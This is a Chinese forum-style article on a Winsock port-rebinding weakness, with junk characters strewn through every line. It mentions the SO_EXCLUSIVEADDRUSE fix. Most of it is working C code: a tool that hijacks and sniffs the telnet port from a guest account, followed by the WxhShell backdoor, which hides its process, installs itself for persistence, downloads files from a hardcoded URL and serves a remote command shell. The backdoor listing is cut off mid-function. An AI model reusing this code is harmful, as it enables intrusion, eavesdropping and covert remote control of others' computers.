在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
),j6tq[ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
|68/FJZ,5 g4 +Hq * saddr.sin_family = AF_INET;
B8.}9 W5:fY>7 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
U&a(WQV9& ]gaeN2 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
) vVf- zU JV'aqnb.8\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
fy|I3 ]\L+]+u~ 这意味着什么?意味着可以进行如下的攻击:
elpTak@ KMQPA>w# 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
koD}o^U# KHJ wCv 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
EN}XIa>R v'^}zO 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
AP1ZIc6 ~
L>M-D4o 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
PDCb(5 +*Uv+oC| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
gwXmoM5 gMkSl8[ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
UK*v\TMv 4*5 e0:O 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
WXDo`_{R `Lavjmfr2V #include
KtH^k&z.f #include
qK9A
/Mc #include
d~h;|Bl[ #include
pLV
%g#h DWORD WINAPI ClientThread(LPVOID lpParam);
|3Oyg ?2 int main()
M7 kWJ {
a)Pr&9I WORD wVersionRequested;
;Bzx}7A DWORD ret;
*rHz/& , WSADATA wsaData;
_9p79S<+ BOOL val;
d"Wuu1tEY SOCKADDR_IN saddr;
NuUiW*|`7 SOCKADDR_IN scaddr;
Q6e7Z-8 int err;
Cg`lQYU SOCKET s;
7l~^KsX SOCKET sc;
u^CL }t* int caddsize;
- _6`0 HANDLE mt;
.9,x_\|G* DWORD tid;
"bWx< wVersionRequested = MAKEWORD( 2, 2 );
lQvgq err = WSAStartup( wVersionRequested, &wsaData );
o)7Ot\:E if ( err != 0 ) {
`YE=B{q printf("error!WSAStartup failed!\n");
S7#dyAX8 return -1;
j|N<6GSke }
a l6y=;\jZ saddr.sin_family = AF_INET;
#d/T7c# ~UNha/nt //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
l(}L-:@A _2{_W9k saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
$|3zsi2 saddr.sin_port = htons(23);
84WcaH if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
6-)WXJ@V {
TJZ~Rpq printf("error!socket failed!\n");
]*lZFP~ return -1;
<p/2 hHfiD }
Md~._@`|K val = TRUE;
YhfQpe //SO_REUSEADDR选项就是可以实现端口重绑定的
4 dLnX3 v if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
q5'G]j{,Z {
37Q8Yf_ printf("error!setsockopt failed!\n");
llWY7u" return -1;
1EC;t1.7 }
-zqpjxU: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
\0_jmX]p //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
;Oqf{em]; //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
']+!i a CmBgay if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
>P\eHR,{- {
c_M[>#` ret=GetLastError();
|B*B>P# printf("error!bind failed!\n");
BmccSC;o4 return -1;
:
xggo }
x|dP-E41\ listen(s,2);
qBh@^GxY), while(1)
o$+R {
-1v9 caddsize = sizeof(scaddr);
r Dlu& //接受连接请求
6DK).|@$r sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
UntFkoO if(sc!=INVALID_SOCKET)
{Q_GJ {
C<I?4WM mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Qzo -Yw`= if(mt==NULL)
H.'9]* {
I}0? d printf("Thread Creat Failed!\n");
?E|=eO"I1 break;
!X~NL+ }
K@g
~ }
?*+U[*M CloseHandle(mt);
\/;c^!(< }
J@E]Fl closesocket(s);
>3KlI WSACleanup();
fHEIys,{ return 0;
lX"m|W }
2y!aXk\#C DWORD WINAPI ClientThread(LPVOID lpParam)
^v cnDi {
GA[D@Wy SOCKET ss = (SOCKET)lpParam;
h-;> v. SOCKET sc;
+_cigxpTc unsigned char buf[4096];
&|ne!wu SOCKADDR_IN saddr;
V:J|shRo long num;
L[Z^4l_! DWORD val;
Us'JMZ~ DWORD ret;
z~3ubta8(@ //如果是隐藏端口应用的话,可以在此处加一些判断
a{^z= = //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
]w _&%mB saddr.sin_family = AF_INET;
I]+
zG saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
.FgeAxflP saddr.sin_port = htons(23);
)j~{P if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
K{/i2^4 {
t,8?Tf+i printf("error!socket failed!\n");
"#7Q}d!x return -1;
eF.nNu }
$hcv}<$/ val = 100;
@<pd@Mpf] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
R8u8jG(4 {
aY(s
& ret = GetLastError();
DT>`.y%2W return -1;
F9K`N8wlu }
)D6i {I0 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
gWa0x- {
jy5[K. ret = GetLastError();
%H" return -1;
]wEI*c( }
C=q&S6/+ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
h'=)dFw7 {
{ >izfG,\ printf("error!socket connect failed!\n");
g_P98_2f.k closesocket(sc);
y'odn ; closesocket(ss);
mhhc}dS(H return -1;
N~CQh=< }
|^UQVNJ while(1)
)^s>2 1 {
;7?oJH; //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
H,w8+vZ4\ //如果是嗅探内容的话,可以再此处进行内容分析和记录
wZ\93W-} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
&ZC{ _t num = recv(ss,buf,4096,0);
1R~$m if(num>0)
6O6B8 send(sc,buf,num,0);
\:1$E[3v else if(num==0)
U!o break;
f&^}yqmuE num = recv(sc,buf,4096,0);
3MHpP5C if(num>0)
p19(>|$J send(ss,buf,num,0);
R$
+RTG:E else if(num==0)
ojf6@p_ break;
<_|@~^u }
>W-xDzJry closesocket(ss);
3I( n]; closesocket(sc);
EHn!ZrQgh return 0 ;
p qpsa' }
?#: ']q *f;$5B#^ dO1m ==========================================================
u;rmqo1 RS}_cm0 下边附上一个代码,,WXhSHELL
l{C]0^6>i ]oSx]R>{f ==========================================================
YQd($ fcF| m5 #include "stdafx.h"
NJr)f S>(x x"Ia #include <stdio.h>
H.{Fw j4 #include <string.h>
Ayqs~&{ #include <windows.h>
uIO,9> ee #include <winsock2.h>
[j@i^B & #include <winsvc.h>
1<#D3CXK #include <urlmon.h>
6 *S/frE NR_3nt^h #pragma comment (lib, "Ws2_32.lib")
GiuE\J9i #pragma comment (lib, "urlmon.lib")
(EWGX |QA iz/CC V L #define MAX_USER 100 // 最大客户端连接数
|&MoQxw@ #define BUF_SOCK 200 // sock buffer
+,)k@OI #define KEY_BUFF 255 // 输入 buffer
ll$mRC uuFQTx)) #define REBOOT 0 // 重启
&ot^+uVH #define SHUTDOWN 1 // 关机
<>n|_6'$90 7ixG{yu #define DEF_PORT 5000 // 监听端口
kDmuj>D !\%JOf} #define REG_LEN 16 // 注册表键长度
oi7k#^ #define SVC_LEN 80 // NT服务名长度
=
E_i Y]`=cR`/" // 从dll定义API
ETL7|C" typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
(9aOET>GG typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
3Q62H+MC typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
B\rY\ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
jJ<&!= t-C|x)J+ // wxhshell配置信息
]Bf1p struct WSCFG {
$=E4pb4Y int ws_port; // 监听端口
mMZ{W+"[f char ws_passstr[REG_LEN]; // 口令
W9c&"T9JT int ws_autoins; // 安装标记, 1=yes 0=no
,D`jlY-1l char ws_regname[REG_LEN]; // 注册表键名
X4hz\={ char ws_svcname[REG_LEN]; // 服务名
[T7&)p char ws_svcdisp[SVC_LEN]; // 服务显示名
x<!]#**; char ws_svcdesc[SVC_LEN]; // 服务描述信息
wj}LVyV char ws_passmsg[SVC_LEN]; // 密码输入提示信息
2@Nd02v| int ws_downexe; // 下载执行标记, 1=yes 0=no
Wll0mtv char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
^vG<Ma.yk char ws_filenam[SVC_LEN]; // 下载后保存的文件名
C7m/< v ,h"u };
JP\jhkn =d5;F`m // default Wxhshell configuration
>T[Y>] struct WSCFG wscfg={DEF_PORT,
`fEzE\\!* "xuhuanlingzhe",
?F[_5ls|] 1,
JLWm9c+UTG "Wxhshell",
zJ8T.+qJ "Wxhshell",
dT 7fyn "WxhShell Service",
xu-bn "Wrsky Windows CmdShell Service",
RE4#a2 "Please Input Your Password: ",
RF2I_4 1,
7oIHp_Zq "
http://www.wrsky.com/wxhshell.exe",
"u~` ZV( "Wxhshell.exe"
H*<E5^#dw };
ke W7pN? (
EJ1g^|" // 消息定义模块
;5\'PrE char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
mGDc,C=5: char *msg_ws_prompt="\n\r? for help\n\r#>";
DcaKGjp char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
|;Jt*
_ char *msg_ws_ext="\n\rExit.";
/O.q4p char *msg_ws_end="\n\rQuit.";
R{A$|Ipaq char *msg_ws_boot="\n\rReboot...";
JleClB(2n/ char *msg_ws_poff="\n\rShutdown...";
qrw*?6mSQ char *msg_ws_down="\n\rSave to ";
=eW4?9Uq *zweZG8: char *msg_ws_err="\n\rErr!";
K-Pcew^? char *msg_ws_ok="\n\rOK!";
.c<U5/ R1Rk00Ow: char ExeFile[MAX_PATH];
_/P;`@ int nUser = 0;
F)eP55C6 HANDLE handles[MAX_USER];
=m (u=|N3 int OsIsNt;
0k\,z(e CHqi5Z/+ SERVICE_STATUS serviceStatus;
M+ <SSi" SERVICE_STATUS_HANDLE hServiceStatusHandle;
^5~x*=_ lAA6tlc#C // 函数声明
=<9Mv+Ry8 int Install(void);
#huh!Mn int Uninstall(void);
p%bMfi*T int DownloadFile(char *sURL, SOCKET wsh);
`]GL3cIh: int Boot(int flag);
%|JL=E}%| void HideProc(void);
V :5aq.o! int GetOsVer(void);
};9/J3]m int Wxhshell(SOCKET wsl);
*tpS6{4=#7 void TalkWithClient(void *cs);
A9ld9R int CmdShell(SOCKET sock);
9{SzE /[ int StartFromService(void);
$d-yG553 int StartWxhshell(LPSTR lpCmdLine);
94
6r#`q o\Fv~^ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
6A>bm{`c: VOID WINAPI NTServiceHandler( DWORD fdwControl );
vOKNBR2 uInI{> // 数据结构和表定义
(?,jnnub SERVICE_TABLE_ENTRY DispatchTable[] =
ESIJ QM-[+ {
_f>)G3p {wscfg.ws_svcname, NTServiceMain},
.@;5" {NULL, NULL}
TZ
n2,N };
sLTQm*jL qycf;Kl:6 // 自我安装
nZNS}|6 int Install(void)
tNZZCdB {
bY,dWNS: char svExeFile[MAX_PATH];
UHfE.mTjM HKEY key;
G;/>
N'# strcpy(svExeFile,ExeFile);
+[i r7?Y. l>i:M#z& // 如果是win9x系统,修改注册表设为自启动
8?<J,zu@AV if(!OsIsNt) {
zJ1M$U if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
I}y6ke! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
D2o|.e<r RegCloseKey(key);
XD!}uDZ^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]-X\n
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
5\JV } RegCloseKey(key);
}4c$_ return 0;
0?I }
Xooh00 }
Ya<KMBi3 }
q]!FFi{w; else {
&DtI+)[| 6y`FW[ // 如果是NT以上系统,安装为系统服务
:TnU} i_/h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
zC[LcC*+J if (schSCManager!=0)
}7fzEo`g {
b/#<::D ` SC_HANDLE schService = CreateService
ib]<;t (
rfgsas{F schSCManager,
-s0J8b wscfg.ws_svcname,
/
)[\+Nc wscfg.ws_svcdisp,
@LU[po1I SERVICE_ALL_ACCESS,
e2nZwPH SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
? )IH#kL SERVICE_AUTO_START,
^Nav8dma SERVICE_ERROR_NORMAL,
R*ex!u60M svExeFile,
Q3t%JP>;g NULL,
=q"0GUei3 NULL,
T{#=A$vu NULL,
?"}U?m= NULL,
0,__{?! NULL
v )2yR~J );
0}kvuuR if (schService!=0)
3_eg'EP.E {
f
e^s`dsG CloseServiceHandle(schService);
b*nI0/cbR. CloseServiceHandle(schSCManager);
K6~')9Q strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
DEfhR?v strcat(svExeFile,wscfg.ws_svcname);
R
iLqMSq if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
n|QA\,= RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
QqeF RegCloseKey(key);
xw1,Wbu] return 0;
EW)r/Av:, }
kAxJ#RG }
OWYY2&.h CloseServiceHandle(schSCManager);
.Z 17X_ }
4h}\Kl }
5':j=KQE_ h=NXU9n%' return 1;
4dSAGLpp }
6,R<8a;Wn <`A!9+ // 自我卸载
zrtbk~v8y int Uninstall(void)
j_zy"8Y{ {
t3Iij0b~ HKEY key;
dW^#}kN7V RD:LNl<0sh if(!OsIsNt) {
= j
l(Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
'@QK<!%, RegDeleteValue(key,wscfg.ws_regname);
lrMkp@f. RegCloseKey(key);
`soQp2h- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
*Hh*!ePp RegDeleteValue(key,wscfg.ws_regname);
hH?ke(&=f RegCloseKey(key);
_B}QS"A return 0;
oJ=u
pnBn- }
diw5h};W }
PCKxo;bD }
fjQIuM else {
kY~yA2*G ,fm{
krE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
TjctK [db@ if (schSCManager!=0)
KZ [:o,jp> {
>4T7DMy SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
MF::At[4 if (schService!=0)
k@9q5lu;T {
]b^bc2: if(DeleteService(schService)!=0) {
%NL7XU[~ CloseServiceHandle(schService);
z`8>$9 CloseServiceHandle(schSCManager);
V F"c} return 0;
#Pq6q.UB }
<|a9r: [ CloseServiceHandle(schService);
2l8z/o 7v }
:\1vy5 _ CloseServiceHandle(schSCManager);
.Ag)/Xm(? }
-dUXd<=ue }
@d[)i,d:G XToYtdt2 return 1;
Pv8AWQQJ }
^DR`!.ttr D4+OWbf6 // 从指定url下载文件
[rhK2fr:i int DownloadFile(char *sURL, SOCKET wsh)
vRO`hGH {
V4%7Xj HRESULT hr;
4-xg+*() char seps[]= "/";
Cz4l char *token;
r*ry8QA
char *file;
q +c~Bd char myURL[MAX_PATH];
mw=keY9] char myFILE[MAX_PATH];
-.vNb!= IBv9xP]BZ strcpy(myURL,sURL);
Sj4 @pMh4 token=strtok(myURL,seps);
[#2z=Xg while(token!=NULL)
\88IFE {
@,q<][q file=token;
P-\T BS_O token=strtok(NULL,seps);
}/.b@`Dh; }
Y{m1\s/ o rP&.`m88n GetCurrentDirectory(MAX_PATH,myFILE);
[-Mfgw]i strcat(myFILE, "\\");
(Yc}V strcat(myFILE, file);
/vFdhh send(wsh,myFILE,strlen(myFILE),0);
`ve5>aw0_Y send(wsh,"...",3,0);
4*+)D8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
T(eNK
c2 if(hr==S_OK)
}nNCgH return 0;
r6`KZ TU else
,tOc+3Qz$ return 1;
^(yU)k3pu ()@+QE$ }
q VJC O-K| y8O<_VOO}" // 系统电源模块
a 1pa#WC int Boot(int flag)
}Xy<F?Mh {
EXbhyg HANDLE hToken;
5A"OL6ty TOKEN_PRIVILEGES tkp;
~FZ=
'\Hh if(OsIsNt) {
U_Va'7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
sZ7BBJX2K LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
ob>2SU[Y tkp.PrivilegeCount = 1;
&1Idv}@! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
>PiEu->P, AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Tk0Senq, if(flag==REBOOT) {
/ CVhvK if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
1x4{~g\ return 0;
~G`(=\_0 }
C&KH.h/N else {
HA(G q if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
mmgIV&P return 0;
Gcu?xG{ }
1'[_J }
tdB< else {
`zOQ*Y& if(flag==REBOOT) {
4P}<86xk if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
#a"gW,/K return 0;
IG~d7rh" }
XQL]I$? else {
Q68q76 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
xD<:'-ri> return 0;
+}0/ %5 =1 }
D[ (A`!) }
`G^MTDp?L+ VE5M}kDCZ return 1;
'}NQ`\k }
&7t3D?K'qX ]l4#KI@ // win9x进程隐藏模块
P_ x9:3 void HideProc(void)
|cCrLa2*- {
Aaq!i*y x0_$,Tz@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
}*I:0"WH if ( hKernel != NULL )
E"$AOM?(*i {
7LY4q/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
F%pYnHr< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
8yV?l7 FreeLibrary(hKernel);
ohe0}~)V }
Y-Gqx juQQ return;
}_L,Xg:I }
Fm3B8Int wqLY
\ // 获取操作系统版本
'm,3znX!c int GetOsVer(void)
9My
|G)M6 {
I&O}U|l06 OSVERSIONINFO winfo;
VCZ.{MD winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
0WI3m2i GetVersionEx(&winfo);
RZV6\j if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
{\+!@? return 1;
@NS= else
kG>d^K return 0;
^ LTKX`p }
\-B8`ah J2W: Q // 客户端句柄模块
#4e Taik int Wxhshell(SOCKET wsl)
~ g \GC {
0HRLTgIC SOCKET wsh;
`w
J^ struct sockaddr_in client;
P~y% DWORD myID;
o%E^41M7E n2$(MDdL` while(nUser<MAX_USER)
Ht Z3n"2 {
H_<X\( int nSize=sizeof(client);
s<t*g]0`/ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
IP E2t if(wsh==INVALID_SOCKET) return 1;
#PpmR_IX 2.zx handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ir%?J&C+t if(handles[nUser]==0)
tGcp48R-:+ closesocket(wsh);
:NJ(QkTZv else
xM3T7PV9 nUser++;
3~7X2}qU }
7]w]i5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
11s*C # }x^q?;7xW return 0;
~al4`:rRx1 }
Rh:edQ# <V-D // 关闭 socket
Rs0O4.yi;@ void CloseIt(SOCKET wsh)
jF}u%T)HL {
hqA6%Y^k closesocket(wsh);
rG _T!']~ nUser--;
(c<MyuWb ExitThread(0);
V9tG2mLf> }
Jf-4Q! 7r?s)ZV // 客户端请求句柄
CXr]V"X9 void TalkWithClient(void *cs)
4ACL|RF)A {
mgk<PY 1I*b7t SOCKET wsh=(SOCKET)cs;
WxB}Uh char pwd[SVC_LEN];
fP>*EDn@xg char cmd[KEY_BUFF];
H +O7+=& char chr[1];
DRC2U%[ int i,j;
A3VXh^y+ kDAPT_Gid while (nUser < MAX_USER) {
c 5&
_'& u&HLdSHe if(wscfg.ws_passstr) {
2`XG"[@ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
s3sAw~++ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
lj{J w.t //ZeroMemory(pwd,KEY_BUFF);
Ps@a@d"83 i=0;
[/B$cH while(i<SVC_LEN) {
df=G}M( 'w^Md // 设置超时
Hp2ysU fd_set FdRead;
z3V[
Vi struct timeval TimeOut;
"w#jC~J<W FD_ZERO(&FdRead);
&jh'B , FD_SET(wsh,&FdRead);
&QaFX,N" TimeOut.tv_sec=8;
Cx.GEY|0 TimeOut.tv_usec=0;
T(UPWsj int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Hy _ ( if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
w^e5" og] a9h K8e if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Sl,\<a pwd
=chr[0]; 7$8YBcZ6
if(chr[0]==0xd || chr[0]==0xa) { "Zo<$p3]
pwd=0; h/7m.p]
break; ^h}xFiAV#
} bG`aF*10)!
i++; dWhki|c
} 9"5J-a'
{s8v0~
// 如果是非法用户,关闭 socket uAd4Zz
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z@Klj qN
} aNX M~;5~
_sEkKh8x
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >l & N
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?U\@?@
AATiI+\S
while(1) { ,i>{yrsOh
@+OX1-dd/w
ZeroMemory(cmd,KEY_BUFF); noali96J
O_yk<
// 自动支持客户端 telnet标准 q97Z .o
j=0; llbf(!
while(j<KEY_BUFF) { F|,_k%QP
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lV4|(NQ9
cmd[j]=chr[0]; vkFq/+'U
if(chr[0]==0xa || chr[0]==0xd) { eI%{/>
cmd[j]=0; MGt[zLF9
break; D%CKkQ<u2
} PBXRey7>D
j++; bi^[Eh
} k,p:!S(bl
P4&3jQ[o
// 下载文件 i&%~:K*
if(strstr(cmd,"http://")) { -@6R`m=>
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^lB=O
if(DownloadFile(cmd,wsh)) )=KD
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hs}3c
R}
else k[ {h$
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h!k[]bt5
} tZW2TUM]
else { f6\`eLG i1
cym<uh-Wg^
switch(cmd[0]) { cPFs K*w
fl8~*\;Xu
// 帮助 r#svj*dn
case '?': { 4 f)B@A-
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g4Y1*`}2f
break; ]LcCom:]
} 4=BIYC"Lu
// 安装 3PmM+}j3
case 'i': { #@rvoi
if(Install()) Q L0
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2P`Z>_
else =tP%K*Il4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (KHO'QNMt^
break; [;?CO<
} aYJTSgW
// 卸载 t)!(s,;T
case 'r': { ,;&j*qFi
if(Uninstall()) %T~3xQ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~AqFLv/%
else [&Yrnkgr
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IE^xk@
break; 'AU:[eyUV
} |`N|S
// 显示 wxhshell 所在路径 "s$$M\)T
case 'p': { thT2U8%T
char svExeFile[MAX_PATH]; 8h,>f#)0c
strcpy(svExeFile,"\n\r"); 8-s7^*!
strcat(svExeFile,ExeFile); GkOZ=ej
send(wsh,svExeFile,strlen(svExeFile),0); &xAwk-{W
break; T[M:%vjYF
} VLdQXNg9W"
// 重启 y.iA]Ikz
case 'b': { wFe?0u
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @%aU)YDwi
if(Boot(REBOOT)) Q%_QT0H9Kz
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^x BQ#p
else { #N?VbDK9_
closesocket(wsh); ;hz;|\ko5
ExitThread(0); mz[Q]e~&i
} {5GXN! f
break; ~AvB5
} 4qsP/`8
// 关机 9;ZaL7>
case 'd': { bfE4.YF
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {*BZ;Xh\8
if(Boot(SHUTDOWN)) 3xhGmD\SKO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tL>c@w#Pv
else { IBT1If3
closesocket(wsh); R[qfG!
"
ExitThread(0); Lrrc&;
} Y8 % bk2
break; PLb[U(~
} j[ fE^&
// 获取shell Q\QSnMM&]
case 's': { S6<z2-y
CmdShell(wsh); (C3:_cM5
closesocket(wsh); ~K7$ZM
ExitThread(0); {Xjj-@
break; (9]8r2|.
} V*Q!J{lj^#
// 退出 h /iL/Q=
case 'x': { io[>`@=
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uht>@ WSg|
CloseIt(wsh); ehpU`vQz
break; qh]D=i
} }x A Eu,n^
// 离开 99KW("C1F
case 'q': { VUneCt%
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'vP"&lrn
closesocket(wsh); _9pcHhJux
WSACleanup(); >z"\l
exit(1); es6]c%o:t^
break; X21k7 Ls
} +jPJv[W
} T4JG5
} BzXTHFMSy
.7<6
zG6J
// 提示信息 O30eq 7(
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )` ^/Dj;
} 2gN78#d
} .rcXxV@f
59l9^<{A
return; Clo}kdkd_
} H#+2l?D:"
-UBH,U
// shell模块句柄 /S #Z.T~~
int CmdShell(SOCKET sock) 3nbTK3,
{ 1_B;r9x
STARTUPINFO si; [.Y]f.D
ZeroMemory(&si,sizeof(si)); 1C5~GI `
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JYK4/gJ
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; EJid@
PROCESS_INFORMATION ProcessInfo; ?^by3\,VZ
char cmdline[]="cmd"; v[b|J7k
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i"h~QEE
return 0; o'KBe%@/
} :#zVF[Y(2
sPP(>y( \
// 自身启动模式 i6FviZx
int StartFromService(void) W%-`
{ (R|_ 6[zy
typedef struct )4;$;a1
{ GQ8A}gwH
DWORD ExitStatus; "Q.KBX v/
DWORD PebBaseAddress; n|'}W+
DWORD AffinityMask; CxV$_J
DWORD BasePriority; ,{jF)NQaP
